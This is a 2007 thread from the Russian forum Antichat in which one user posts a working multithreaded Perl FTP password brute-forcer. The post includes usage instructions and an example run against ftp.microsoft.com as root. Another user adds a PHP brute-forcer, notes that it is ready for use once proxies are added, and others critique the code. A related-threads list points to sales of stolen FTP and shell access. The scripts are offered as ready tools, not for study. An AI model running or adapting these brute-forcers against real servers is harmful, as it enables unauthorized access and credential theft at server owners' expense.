Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

12.12.2007, 23:26
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
ФТП брутер
Кароче я знаю что в инете полно таких брутеров. Я писал для освоения Perl'a
Брутер многопоточный
Код:
#!perl -w
use strict;
use Net::FTP; # if doesn't work use NET::FTP
use threads;
use threads::shared;
my @pass : shared;
my @trl;
my $ip = "$ARGV[0]";
my $login = "$ARGV[1]";
my $thr = $ARGV[2];
open (SRC, "$ARGV[3]") or die "Can't open:$!";
Next:
@pass = pass();
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $ok);
}
for(0..$thr)
{
$trl[$_]->join;
}
sub Brut
{
while (@pass)
{
my $pass = shift @pass;
print "Checking password : \t$pass\n";
my $ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
if ($ok) {
print "Pass for $ip is $pass\n";
exit;
}
}
}
goto Next;
sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
my $n = @mas;
if ($n == 0) {
print "Password not found\n";
exit;
} else {
return @mas;
}
}
запускаем
perl bruteng.pl <хост> <логин> <файл_с_паролями> <потоки>
perl bruteng.pl ftp.microsoft.com root C:/xek.txt 100
ЗЫ Вроде работает 
Последний раз редактировалось Spyder; 08.09.2008 в 22:50..
|
|
|

12.12.2007, 23:31
|
|
Постоянный
Регистрация: 08.04.2007
Сообщений: 853
Провел на форуме: 5812656
Репутация:
1540
|
|
было бы интересно посмотреть на php
|
|
|

12.12.2007, 23:33
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
многопоточности в пшп как таковой нету. Вернее есть, но через анал =\
|
|
|

12.12.2007, 23:40
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
Провел на форуме: 4319431
Репутация:
677
|
|
$login = "$ARGV[1]";
$ip = "$ARGV[0]";
это лучше вынести в начало кода, а не каждый раз в потоке присваивать значение переменным
|
|
|

12.12.2007, 23:42
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
помойму у меня какая то проблема вызникала с этим и я решил забить =)))
Вобщем учту и доработаю. Написал версию с ГУИ но там какие то траблы небольшие были, мб позже выложу
|
|
|

13.12.2007, 00:02
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме: 8042357
Репутация:
3742
|
|
молодца..
кстати очень интересно посмотреть
как ты реализовал threads + tk  )
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
Последний раз редактировалось blackybr; 13.12.2007 в 00:05..
|
|
|

13.12.2007, 00:10
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
вот с этим проблемка и возникла
После того как брутер находит верный пасс записывает его в файл и выполняет die, после чего интепритатор перла выдаёт ошибку, типа невозможно создать новый поток ибо die()
По идее он работает, просто несовем эстетично
Кароче как разберусь, выложу
|
|
|

13.12.2007, 00:15
|
|
Участник форума
Регистрация: 11.05.2007
Сообщений: 149
Провел на форуме: 6373157
Репутация:
247
|
|
Ну вот пример на PHP:
PHP код:
<?php
if ($argc > 3 ) {
$ftp_server = $argv[1];
$ftp_user_name = $argv[2];
$conn_id = ftp_connect($ftp_server);
$f = fopen($argv[3],"r");
while(!feof($f))
{
$ftp_user_pass = fgets($f,255);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if ($login_result)) {
echo "password found! ftp://$ftp_user_name@$ftp_server where password : $ftp_user_pass";
}
}
fclose($argv[3]);
ftp_close($conn_id);
} else
{
echo "Usage: ".$argv[0]." ftp.server usename password.txt";
}
?>
работоспособность не гарантирую, так как не проверял.
ЗЫ осталось прокси добавить и можна юзать ))
Последний раз редактировалось n3m0; 13.06.2008 в 23:49..
Причина: oops....
|
|
|

13.12.2007, 00:41
|
|
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
Провел на форуме: 2009677
Репутация:
472
|
|
PHP-FTPbrute v0.1a\n\n\t c0d3d by n3m0
Строчка просто убила. Что за мания писать примитивный код и вставлять свои нелепые с0ded by ... version 0.0.0.1 pre alpha. На всякий случай, если будут баги, можно списать все на альфа-версию  .
|
|
|

13.12.2007, 00:47
|
|
Участник форума
Регистрация: 11.05.2007
Сообщений: 149
Провел на форуме: 6373157
Репутация:
247
|
|
та то по приколу написал))) Вообще топик не моему скрипту посвящен. Уделайте внимание ТСу
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
ФТП от 1к!
|
sboy20042 |
Доступы, shells, ftp - Покупка, продажа |
1 |
12.12.2007 04:47 |
|
Продаю ФТП Партиями
|
Tip4eG |
Доступы, shells, ftp - Покупка, продажа |
0 |
06.12.2007 17:43 |
|
Куплю фтп много
|
De1eT |
Доступы, shells, ftp - Покупка, продажа |
0 |
08.12.2005 00:02 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|